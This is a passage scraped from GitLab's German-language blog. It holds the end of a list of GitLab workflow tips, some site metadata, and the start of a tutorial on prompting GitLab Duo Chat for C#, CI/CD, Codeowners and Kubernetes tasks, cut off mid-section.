Filter, wähle alle aus und füge die Labels für alle hinzu – kinderleicht.\n> \n> __[Anleitung](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#bulk-edit-issues-from-a-project)__\n\n![Beispiel für die Stapelbearbeitung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099376157.gif)\n\n\u003Cp>\u003C/p>\n\n## 7. Epic-Bahnen\n\nGruppiere Tickets in deinem Board in Epics, um den Fortschritt visuell zu verfolgen und zu diskutieren. So kannst du deine Arbeit bei Besprechungen oder Standups besser einordnen.\n\n> **Warum liebe ich es?** Du kannst den Kontext der Arbeit leicht nachvollziehen, während du dir das Board ansiehst.\n> \n> **Anwendungsfall.** Durch die Gruppierung nach Epics kannst du deine Arbeit bei Standup-Reviews leicht mit der übergeordneten Initiative verknüpfen.\n> \n> __[Anleitung](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issues-in-swimlanes)__\n\n![Beispiel für Epic-Bahnen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099376158.gif)\n\n\u003Cp>\u003C/p>\n\n## 8. Wiki-Diagramme \n\nVeranschauliche Ideen und Workflows direkt auf deinen Wikiseiten mit einfach zu erstellenden Diagrammen. Diese Funktion unterstützt das visuelle Lernen und vereinfacht komplexe Konzepte.\n\n> **Warum liebe ich es?** Es ist unglaublich benutzerfreundlich und flexibel.\n> \n> **Anwendungsfall.** Wenn du den Workflow einer neuen Funktion skizzierst, zeichnest du ihn direkt in die Wiki-Seite ein, damit er für alle im Team verständlich ist.\n> \n> __[Anleitung](https://docs.gitlab.com/ee/administration/integration/diagrams_net.html)__\n\n![Beispiel für Wiki-Diagramme](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099376159.gif)\n\n\u003Cp>\u003C/p>\n\n## 9. Tabellenerstellung\n\nKein Ärger mehr mit Markdown für die Tabellenerstellung. Mit dem Rich-Text-Editor kannst du mühelos Tabellen einfügen und formatieren, wodurch die Dokumentation übersichtlicher und strukturierter wird.\n\n> **Warum liebe ich es?** Es macht die Erstellung von Tabellen zum Kinderspiel und sorgt für saubere und strukturierte Aktualisierungen mit nur wenigen Klicks.\n> \n> **Anwendungsfall.** Stellst du eine Sprint-Retro zusammen? Füge schnell eine Tabelle ein, um Feedback, Maßnahmen und Eigentümer(innen) zu organisieren, damit der Review-Prozess für alle reibungsloser abläuft.\n> \n> __[Anleitung](https://docs.gitlab.com/ee/user/rich_text_editor.html#tables)__ \n\n![Beispiel für die Tabellenerstellung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750099376160.gif)\n\n\u003Cp>\u003C/p>\n\n## 10. Einbetten von Videos und GIFs\n\nVerbessere die Beschreibungen oder Kommentare deiner Tickets und Epics mit eingebetteten GIFs und YouTube-Videos, um deiner Kommunikation eine dynamische Ebene zu verleihen.\n\n> **Warum liebe ich es?** Manchmal sagt ein GIF oder ein Video mehr als tausend Worte.\n> \n> **Anwendungsfall.** Du versuchst, einen Fehler in der Benutzeroberfläche zu erklären? Bette ein YouTube-Video ein, in dem du die vorgeschlagene Funktionsverbesserung kurz vorstellst.\n\n![Beispiel für die Einbettung von Videos und GIFs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/gif__1__aHR0cHM6_1750099376161.gif)\n\n\u003Cp>\u003C/p>\n\n## Erkunde diese Funktionen\n\nDiese Funktionen sind nur die Spitze des Eisbergs im umfassenden Toolkit von GitLab, das für mehr Effizienz und eine bessere Zusammenarbeit sorgt. Auch wenn sie nicht ausreichend genutzt werden, können sie erhebliche Auswirkungen auf deinen Workflow haben. Du solltest diese Funktionen weiter erkunden und in deine tägliche Routine integrieren. \n\n> Willst du deinen DevSecOps-Workflow mit GitLab verbessern? [Teste GitLab Ultimate 30 Tage lang kostenlos](https://gitlab.com/-/trial_registrations/new).\n",[767,746,745,974],{"slug":3325,"featured":6,"template":682},"top-10-gitlab-workflow-hacks-you-need-to-know","content:de-de:blog:top-10-gitlab-workflow-hacks-you-need-to-know.yml","Top 10 Gitlab Workflow Hacks You Need To Know","de-de/blog/top-10-gitlab-workflow-hacks-you-need-to-know.yml","de-de/blog/top-10-gitlab-workflow-hacks-you-need-to-know",{"_path":3331,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3332,"content":3338,"config":3343,"_id":3345,"_type":16,"title":3346,"_source":17,"_file":3347,"_stem":3348,"_extension":20},"/de-de/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat",{"title":3333,"description":3334,"ogTitle":3333,"ogDescription":3334,"noIndex":6,"ogImage":3335,"ogUrl":3336,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3336,"schema":3337},"10 Best Practices für den Einsatz des KI-basierten GitLab Duo Chat","Tipps zur Integration von GitLab Duo Chat in deine KI-basierten DevSecOps-Workflows. Dazu gibt's Ratschläge für präzisere Chat-Prompts.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097639/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_77JeTV9gAmbXM0224acirV_1750097638765.png","https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"10 Best Practices für den Einsatz des KI-basierten GitLab Duo Chat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-04-02\",\n      }\n                  ",{"title":3333,"description":3334,"authors":3339,"heroImage":3335,"date":3340,"body":3341,"category":677,"tags":3342,"updatedDate":2943},[2840],"2024-04-02","Mit einer KI ins Gespräch zu kommen, kann eine Herausforderung sein. Mit welcher Frage fängt man am besten an? Wie formuliert man seine Frage am besten? Wie viel Kontext ist erforderlich? Wird das Gespräch die besten und effizientesten Ergebnisse liefern?\n\nIn diesem Tutorial stellen wir 10 Tipps und Best Practices zur Integration von GitLab Duo Chat in deine KI-basierten DevSecOps-Workflows vor und präzisieren deine Prompts, damit du die besten Ergebnisse erzielen kannst.\n\n[GitLab Duo Chat öffnen und im Vordergrund behalten](#gitlab-duo-chat-öffnen-und-im-vordergrund- behalten)\n\n[10 Best Practices zur Verwendung von GitLab Duo Chat](#10-best-practices-zur-verwendung-von-gitlab-duo-chat)\n\n1. [Führe ein Gespräch](#1.-führe-ein-gespräch)\n2. [Präzisiere den Prompt für mehr Effizienz](#2.-präzisiere-den-prompt-für-mehr-effizienz)\n3. [Beachte Prompt-Muster](#3.-beachte-prompt-muster)\n4. [Setze auf eine kontextarme Kommunikation](#4.-setze-auf-eine-kontextarme-kommunikation)\n5. [Wiederhole dich](#5.-wiederhole-dich)\n6. [Sei geduldig](#6.-sei-geduldig)\n7. [Verwerfe alles und fang von vorn an](#7.-verwerfe-alles-und-fang-von-vorn-an)\n8. [Steigere in der IDE mit Slash-Befehlen deine Effizienz](#8.-steigere-in-der-ide-mit-slash-befehlen-deine-effizienz)\n9. [Präzisiere den Prompt für Slash-Befehle](#9.-präzisiere-den-prompt-für-slash-befehle)\n10. [Werde bei den Slash-Befehlen kreativ](#10.-werde-bei-den-slash-befehlen-kreativ)\n\nBonusinhalte:\n- [Shortcuts](#shortcuts)\n- [Unterhaltsame Übungen](#unterhaltsame-übungen)\n- [Weitere Informationen](#weitere-informationen)\n\n## GitLab Duo Chat öffnen und im Vordergrund behalten\n\n[GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) ist in der GitLab-UI, Web IDE und unterstützten Programmier-IDEs, z. B. VS Code, verfügbar. \n\nIn VS Code kannst du GitLab Duo Chat über die Side Bar auf der linken Seite öffnen. Du kannst das Symbol auch per Drag & Drop in den rechten Bereich ziehen. So kann der Chat geöffnet bleiben, während du deinen Code schreibst und durch den Dateibaum navigierst, Git-Aktionen durchführst usw. Um den Anzeigeort des Chats zurückzusetzen, öffnest du einfach die Befehlspalette (durch Drücken der Tastenkombination `Command+Umschalt+P` (bei macOS) oder `Strg+Umschalt+P` (bei Windows/Linux) und gibst dann `View: Reset View Locations` (Ansicht: Anzeigeorte zurücksetzen) ein. Im folgenden kurzen Video erfährst du, wie es geht.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/foZpUvWPRJQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nDie Web IDE und VS Code teilen sich das gleiche Framework – mit derselben Methode lassen sich in der Web IDE effizientere Workflows umsetzen.\n\n![Chat in der Web IDE](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097645344.png)\n\n## 10 Best Practices für die Verwendung von GitLab Duo Chat\n\n### 1. Führe ein Gespräch\n\nChats sind Gespräche, keine Suchformulare.\n\nUm das Eis zu brechen, kannst du mit Suchbegriffen beginnen, die denen einer Suchmaschine ähneln, und dann mit der Antwort und Ausgabe experimentieren. Beginnen wir in diesem Beispiel mit einem C#-Projekt und unseren Best Practices. \n\n> c# start project best practices (Best Practices für den Beginn eines C#-Projekts)\n\n![Chat-Prompt „c# start project best practices“ und die Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097646/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097645345.png)\n\nDie Antwort ist hilfreich, um C# besser zu verstehen, gibt aber nicht sofort den Anstoß für Best Practices. Deshalb sollten wir im gleichen Zusammenhang eine gezieltere Frage stellen. \n\n> Please show the project structure for the C# project. (Bitte zeige die Projektstruktur für das C#-Projekt an.)\n\n![Chat-Prompt „Please show the project structure for the C# project.“ und die Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097645346.png)\n\nDiese Antwort ist hilfreich. Wir fahren mit einer Git-Frage fort und verwenden dabei dieselbe Fragenstruktur: eine direkte Anfrage für eine Anzeige.\n\n> Show an example for a .gitignore for C#. (Zeige ein Beispiel für .gitignore für C# an.)\n\n![Chat-Prompt für „Show an example for a .gitignore for C#.“ und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image25_aHR0cHM6_1750097645347.png)\n\nBleib bei CI/CD und frage, wie man das C#-Projekt erstellen kann.\n\n> Show a GitLab CI/CD configuration for building the C# project. (Zeige eine GitLab-CI/CD-Konfiguration zum Erstellen des C#-Projekts an.)\n\n![Chat-Prompt für „Show a GitLab CI/CD configuration for building the C# project.“ und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image16_aHR0cHM6_1750097645349.png)\n\nIn diesem Beispiel hat uns Chat dazu ermutigt, bestimmte Änderungen anzufordern. Wir wollen das .NET SDK 8.0 anstelle von 6.0 verwenden.\n\n> In the above example, please use the .NET SDK 8.0 image. (Verwende im obigen Beispiel bitte das .NET SDK 8.0 Image.)\n\n![Chat-Prompt für „In the above example, please use the .NET SDK 8.0 image“ und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image32_aHR0cHM6_1750097645350.png)\n\nDie CI/CD-Konfiguration verwendet die .NET-CLI. Vielleicht können wir das auch für effizientere Befehle verwenden, um die Projekt- und Teststruktur zu erstellen? \n\n> Explain how to create projects and test structure on the CLI. (Erkläre, wie Projekte und Teststrukturen in der CLI erstellt werden.)\n\n![Chat-Prompt für „Explain how to create projects and test structure on the CLI.“ und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750097645351.png)\n\nNatürlich könnten wir diese Befehle im Terminal ausführen, aber geht das auch in VS Code? Fragen wir doch Chat.\n\n> Explain how to open a new terminal in VS Code. (Erkläre, wie man ein neues Terminal in VS Code öffnet.)\n\n![Chat-Prompt für „Explain how to open a new terminal in VS Code.“ und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097645351.png)\n\n### 2. Präzisiere den Prompt für mehr Effizienz\n\nStell dir vor, GitLab Duo Chat wäre ein Mensch, und arbeite mit ihm in Form von vollständigen Sätzen, die so viel Kontext zu deinen Gedanken und Fragen wie möglich enthalten. \n\nErfahrene Benutzer(innen) von Suchmaschinen kennen diesen Ansatz vielleicht von der Abfrage von Inhalten: Erstelle die Frage, ergänze sie um weitere Begriffe, um den inhaltlichen Umfang zu präzisieren, und starte eine neue Suche, nachdem du bereits viele Registerkarten geöffnet hast. \n\nBei der Verwendung einer Suchmaschine hättest du wahrscheinlich schnell vier bis fünf verschiedene Suchfenster geöffnet. \n\n```markdown\nc# start project best practices\nc# .gitignore\nc# gitlab cicd \nc# gitlab security scanning \nc# solutions and projects, application and tests\n``` \n\nDu kannst diese Strategie auch in einem Chat anwenden. Du musst jedoch mehr Kontext hinzufügen, damit es zu einem Gespräch wird. Mit GitLab Duo Chat kannst du mehrere Fragen in ein und derselben Gesprächsanfrage stellen. Beispiel: Du willst mit einem neuen C#-Projekt beginnen, Best Practices anwenden, eine `.gitignore`-Datei hinzufügen und CI/CD und Sicherheitsscans konfigurieren, genau wie in der Suche oben. In Chat kannst du die Fragen zu einer Anfrage kombinieren.\n\n> How can I get started creating an empty C# console application in VS Code? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#, and add security scanning for GitLab. Explain how solutions and projects in C# work, and how to add a test project on the CLI. (Wie kann ich mit der Entwicklung einer leeren C#-Konsolenanwendung in VS Code beginnen? Bitte zeige eine .gitignore- und .gitlab-ci.yml-Konfiguration mit Schritten für C# an und füge Sicherheitsscans für GitLab hinzu. Erkläre, wie Lösungen und Projekte in C# funktionieren und wie man ein Testprojekt in der CLI hinzufügt.)\n\n![Chat-Prompt für mehr Kontext und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image37_aHR0cHM6_1750097645352.png)\n\nIn dieser Antwort schlägt der Chat vor, bei Folgefragen im Gespräch nach konkreten Konfigurationsbeispielen zu fragen. Asynchrones Üben: Erstelle Folgefragen. Du kannst `C#` als Kontext in derselben Chat-Sitzung weglassen.\n\n> Please show an example for a .gitignore. Please show a CI/CD configuration. Include the SAST template. (Bitte zeige ein Beispiel für .gitignore. Bitte zeige eine CI/CD-Konfiguration. Füge die SAST-Vorlage hinzu.)\n\n### 3. Beachte Prompt-Muster \n\nFolge dem Muster: `Problembeschreibung, bitte um Hilfe, erstelle zusätzliche Anfragen`. Es fällt einem bei der ersten Frage vielleicht nicht gleich alles ein – beginne mit `Problembeschreibung, bitte um Hilfe`, wenn du zu Beginn noch ratlos bist. \n\n> I need to fulfill compliance requirements. How can I get started with Codeowners and approval rules? (Ich muss die Compliance-Anforderungen erfüllen. Wie kann ich mit Codeowners und Approvalregeln beginnen?)\n\n![Chat-Prompt für den Einstieg in Codeowners und Approvalregeln und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image19_aHR0cHM6_1750097645352.png)\n\nDie Antwort ist hilfreich, aber offensichtlich generisch. Vielleicht möchtest du an dieser Stelle spezifische Hilfe für dein Team-Setup erhalten. \n\n> Please show an example for Codeowners with different teams: backend, frontend, release managers. (Bitte zeige ein Beispiel für Codeowners mit verschiedenen Teams: Backend, Frontend, Release Manager.)\n\n![Chat-Prompt zur Anzeige eines Beispiels für Codeowners mit verschiedenen Teams: Backend, Frontend, Release Manager und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image31_aHR0cHM6_1750097645353.png)\n\nAlternativ kannst du deine aktuelle Situation beschreiben und um Unterstützung bitten. Wenn man dem STAR-Modell (Situation, Aufgabe, Aktion, Ergebnisse) folgt, kann es sich ein wenig wie ein Gespräch anfühlen. \n\n> I have a Kubernetes cluster integrated in GitLab. Please generate a Yaml configuration for a Kubernetes service deployment. Explain how GitOps works as a second step. How to verify the results? (Ich habe ein Kubernetes-Cluster in GitLab integriert. Bitte generiere eine Yaml-Konfiguration für eine Kubernetes-Dienstbereitstellung. Erkläre als zweiten Schritt, wie GitOps funktioniert. Wie verifiziere ich die Ergebnisse?\n\n![Chat-Prompt mit mehreren Fragen und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image27_aHR0cHM6_1750097645354.png)\n\n### 4. Setze auf eine kontextarme Kommunikation \n\nGib so viel Kontext an, wie für eine Antwort erforderlich ist. In manchen Fällen bietet der bisherige Verlauf oder der geöffnete Quellcode nicht diesen hilfreichen Kontext. Um Fragen effizienter zu gestalten, kannst du ein Muster von [kontextarmer Kommunikation](https://handbook.gitlab.com/handbook/company/culture/all-remote/effective-communication/#understanding-low-context-communication) (nur in englischer Sprache verfügbar) anwenden, das in der All-Remote-Kommunikation im Rahmen von GitLab verwendet wird.\n\nDie folgende Frage hat nicht genügend Kontext in einem C++-Projekt bereitgestellt.\n\n> Should I use virtual override instead of just override? (Sollte ich eine virtuelle Überschreibung anstelle einer einfachen Überschreibung verwenden?)\n\n![Chat-Prompt zur Frage nach der Verwendung einer virtuellen Überschreibung anstelle einer einfachen Überschreibung und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image34_aHR0cHM6_1750097645354.png)\n\nVersuche stattdessen, mehr Kontext hinzuzufügen:\n\n> When implementing a pure virtual function in an inherited class, should I use virtual function override, or just function override? Context is C++. (Sollte ich bei der Implementierung einer reinen virtuellen Funktion in einer geerbten Klasse eine virtuelle Funktionsüberschreibung oder nur eine einfache Funktionsüberschreibung nutzen? Der Kontext ist C++.) \n\n![Chat-Prompt mit mehr Details und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image36_aHR0cHM6_1750097645355.png)\n\nDas Beispiel findest du auch im englischsprachigen Video [GitLab Duo Coffee Chat: Refactor C++ functions into OOP classes for abstract database handling (GitLab Duo Coffee Chat: C++-Funktionen in OOP-Klassen umwandeln für abstrakte Datenbankverwaltung)](https://youtu.be/Z9EJh0J9358?t=2190). \n\n### 5. Wiederhole dich\n\nDie KI ist nicht berechenbar. In manchen Fällen kann es sein, dass sie nicht mit den erwarteten Ergebnissen antwortet oder keine Quellcode-Beispiele oder Konfigurations-Schnipsel erzeugt, weil sie keinen Kontext hatte. Du solltest die Frage wiederholen und die Anforderungen verfeinern.\n\nIm folgenden Beispiel möchten wir eine C#-Anwendung erstellen. Beim ersten Versuch haben wir den Anwendungstyp nicht angegeben – C# kann verwendet werden, um Konsolen-/Terminal-, aber auch UI-Anwendungen zu erstellen. Wir bekommen außerdem keinen leeren Beispiel-Quellcode als Antwort. Der zweite, wiederholte Prompt fügt zwei weitere Wörter hinzu: `console` und `empty`. \n\n> How can I get started creating an C# application in VS Code? (Wie kann ich mit dem Erstellen einer C#-Anwendung in VS Code beginnen?)\n> \n> How can I get started creating an empty C# console application in VS Code? (Wie kann ich mit dem Erstellen einer leeren C#-Konsolenanwendung in VS Code beginnen?)\n\nDie Ergebnisse im Prompt unterscheiden sich. Die erste Antwort ist für den Anfang hilfreich, da man den Anweisungen im VS-Code-Fenster folgen kann, aber sie sagt uns nicht, wo sich der Quellcode befindet und wie man ihn ändert. Durch den zweiten, verfeinerten Prompt wird die Antwort modifiziert und bietet jetzt Anweisungen, wie man die Standardvorlage mit „Hallo Welt”-Code überschreibt.\n\n![Chat-Prompts mit wiederholtem Prompt mit Modifikationen und Antworten](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image28_aHR0cHM6_1750097645355.png)\n\nDu kannst auch Wiederholungs- und Verfeinerungsstrategien miteinander kombinieren und Chat auffordern, ein Beispiel für Anwendungscode und Tests anzuzeigen.\n\n> How can I get started creating an empty C# console application in VS Code? Please show an example for application and tests. (Wie kann ich mit dem Erstellen einer leeren C#-Konsolenanwendung in VS Code beginnen? Bitte zeige ein Beispiel für die Anwendung und Tests.)\n\n![Chat-Prompt, der ein Beispiel für die Anwendung und Tests anfordert und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097645356.png)\n\n#### Wiederhole dich nach allgemeinen Fragen \n\nGitLab Duo Chat kann bei allgemeinen technischen Fragen möglicherweise nicht weiterhelfen. Im folgenden Szenario wollte ich einen Vorschlag für Java-Build-Tools und ein Framework erhalten, was jedoch nicht funktioniert hat. Es gibt viele mögliche Antworten: Maven, Gradle usw. als Build-Tools und [über 100 Java-Frameworks](https://en.wikipedia.org/wiki/List_of_Java_frameworks) (nur in englischer Sprache verfügbar), die vom Technologie-Stack und den jeweiligen Anforderungen abhängen.\n\n![Chat-Prompt für die Frage nach Java-Build-Tools und einem Framework und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097645356.png)\n\nNehmen wir einmal an, wir wollen uns auf eine Kundenumgebung mit [Java Spring Boot](https://spring.io/projects/spring-boot) konzentrieren. \n\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. (Ich möchte eine Java Spring Boot-Anwendung entwickeln. Bitte erkläre die Projektstruktur und zeige ein Hallo-Welt-Beispiel.)\n\n![Chat-Prompt, der mehr anfordert, einschließlich eines Hallo-Welt-Beispiels und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image26_aHR0cHM6_1750097645357.png)\n\nDies allein liefert bereits hervorragende Ergebnisse. Wiederhole den Prompt als asynchrone Übung und frage, wie man die Anwendung bereitstellt, wobei du bei jedem Schritt weitere Verfeinerungen ergänzt. Alternativ kannst du ein Folgegespräch daraus machen.\n\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD. (Ich möchte eine Java Spring Boot-Anwendung entwickeln. Bitte erkläre die Projektstruktur und zeige ein Hallo-Welt-Beispiel. Zeige, wie man die Anwendung in CI/CD erstellt und bereitstellt.)\n> \n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD, using container images. (Ich möchte eine Java Spring Boot-Anwendung entwickeln. Bitte erkläre die Projektstruktur und zeige ein Hallo-Welt-Beispiel. Zeige, wie man die Anwendung in CI/CD mit Container-Images erstellet und bereitstellt.)\n> \n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD, using container images. Use Kubernetes and GitOps in GitLab. (Ich möchte eine Java Spring Boot-Anwendung entwickeln. Bitte erkläre die Projektstruktur und zeige ein Hallo-Welt-Beispiel. Zeige, wie man die Anwendung in CI/CD mit Container-Images erstellet und bereitstellt. Verwende Kubernetes und GitOps in GitLab.)\n\n### 6. Sei geduldig\n\nEinzelne Wörter oder kurze Sätze führen möglicherweise nicht zu den gewünschten Ergebnissen, [wie in diesem englischsprachigen Videobeispiel gezeigt wird](https://youtu.be/JketELxLNEw?t=1220). Manchmal kann GitLab Duo Chat anhand der verfügbaren Daten eine Einschätzung treffen, besteht aber bisweilen auch darauf, dass mehr Kontext bereitgestellt wird.\n\nBeispiel: `labels` entspricht dem Inhalt der GitLab-Dokumentation.\n\n![Chat-Prompt zu Labels und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750097645357.png)\n\nPräzisiere die Frage im Hinblick auf die Problembeschreibungen und weitere Spezifizierungen für die Verwendung in der Ticketübersicht.\n\n> Explain labels in GitLab. Provide an example for efficient usage with issue boards. (Erkläre Labels in GitLab. Gib ein Beispiel für die effiziente Verwendung in Ticketübersichten.)\n\n![Chat-Prompt mit der Frage nach einem Beispiel und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image21_aHR0cHM6_1750097645358.png)\n\nOder verwende eine Problembeschreibung, gefolgt von einer Frage, und bitte um weitere Beispiele.\n\n> I don't know how to use labels in GitLab. Please provide examples, and how to use them for filters in different views. Explain these views with examples. (Ich weiß nicht, wie man Labels in GitLab verwendet. Bitte gib Beispiele an und wie man sie für Filter in verschiedenen Ansichten verwendet. Erkläre diese Ansichten mit Beispielen.)\n\n![Chat-Prompt mit Problembeschreibung und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097645358.png)\n\nVermeide ferner `Ja/Nein`-Fragen und ergänze stattdessen einen spezifischen Kontext.\n\n> Can you help me fix performance regressions? (Kannst du mir helfen, Leistungseinbrüche zu beheben?)\n\n![Chat-Prompt mit der Bitte um Hilfe bei der Behebung von Leistungseinbrüchen und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image18_aHR0cHM6_1750097645359.png)\n\nGib stattdessen den Kontext des Leistungseinbruchs an, einschließlich der Programmiersprachen, Frameworks, des Technologie-Stacks und der Umgebungen. Im folgenden Beispiel wird eine etwas ältere Umgebung verwendet, die auch heute noch korrekt sein kann.\n\n> My PHP application encounters performance regressions using PHP 5.6 and MySQL 5.5. Please explain potential root causes, and how to address them. The app is deployed on Linux VMs. (Meine PHP-Anwendung stößt mit PHP 5.6 und MySQL 5.5 auf Leistungseinbrüche. Bitte erkläre mögliche Grundursachen und wie ich sie beheben kann. Die App wird auf Linux-VMs bereitgestellt.)\n\n![Chat-Prompt mit mehr Details und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image24_aHR0cHM6_1750097645360.png)\n\n### 7. Verwerfe alles und fang von vorn an\n\nManchmal zeigt der Chat-Verlauf eine andere Lernkurve und liefert den falschen Kontext für Folgefragen. Oder du hast spezifische Fragen gestellt, bei denen GitLab Duo Chat keine Antworten geben kann. Da generative KI nicht vorhersehbar ist, kann es auch sein, dass sie nicht in der Lage ist, bestimmte Beispiele zu geben, aber glaubt in einer zukünftigen Antwort, dass sie diese doch genannt hat (beobachtet in der Beta von Chat). Die zugrunde liegenden großen Sprachmodelle oder LLMs bestehen manchmal darauf, eine bestimmte Antwort in einer Endlosschleife auszugeben.\n\n> How can I get started creating an empty C# console application in VS Code? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#, and add security scanning for GitLab. Explain how solutions and projects in C# work, and how to add a test project on the CLI. (Wie kann ich mit dem Erstellen einer leeren C#-Konsolenanwendung in VS Code beginnen? Bitte zeige eine .gitignore- und .gitlab-ci.yml-Konfiguration mit Schritten für C# an und füge Sicherheitsscans für GitLab hinzu. Erkläre, wie Lösungen und Projekte in C# funktionieren und wie man ein Testprojekt über die CLI hinzufügt.)\n\nNachdem ich die obige Frage mit einer Beispielkonfiguration gestellt hatte, wollte ich den Umfang der Frage eingrenzen, um eine zielgerichtete Antwort zu erhalten. Dies hat nicht wie erwartet funktioniert, da Chat den Chat-Verlauf in diesem Kontext kennt und sich daher auf frühere Antworten bezieht.\n\n> How can I get started creating an empty C# console application in VS Code? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#. (Wie kann ich mit dem Erstellen einer leeren C#-Konsolenanwendung in VS Code beginnen? Bitte zeige eine .gitignore- und .gitlab-ci.yml-Konfiguration mit Schritten für C# an.)\n\n![Chat-Prompt mit der Frage nach Konfigurationsbeispielen und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image23_aHR0cHM6_1750097645360.png)\n\nUm Chat in einen neuen Kontext zu zwingen, verwendest du den Befehl `/reset` als Slash-Befehl, um die Sitzung zurückzusetzen, und wiederholst die Frage, um bessere Ergebnisse zu erzielen. Du kannst auch `/clean` oder `/clear` verwenden, um alle Nachrichten in diesem Gespräch zu löschen.\n\n### 8. Steigere in der IDE mit Slash-Befehlen deine Effizienz \n\n#### Code erklären\n\n- F: Generierter Code? Bestehender Code? Legacy-Code?\n- A: Verwende den [Slash-Befehl `/explain` in der IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#explain-code-in-the-ide) (nur in englischer Sprache verfügbar).\n- A2: Präzisiere den Prompt mit gezielteren Antworten, zum Beispiel: `/explain focus on potential shortcomings or bugs` (/explain mit Fokus auf mögliche Fehler oder Bugs).\n\n![Chat-Prompt mit Slash-Befehl /explain](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/gitlab_duo_chat_slash_commands_explain_01_aHR0cHM6_1750097645361.png).\n\n![Chat-Prompt mit präzisiertem Prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097645361.png)\n\n#### Code refaktorisieren \n\n- F: Unlesbarer Code? Langer Spaghetti-Code? Keinerlei Testabdeckung?\n- A: Verwende den Slash-Befehl [`/refactor` in der IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#refactor-code-in-the-ide) (nur 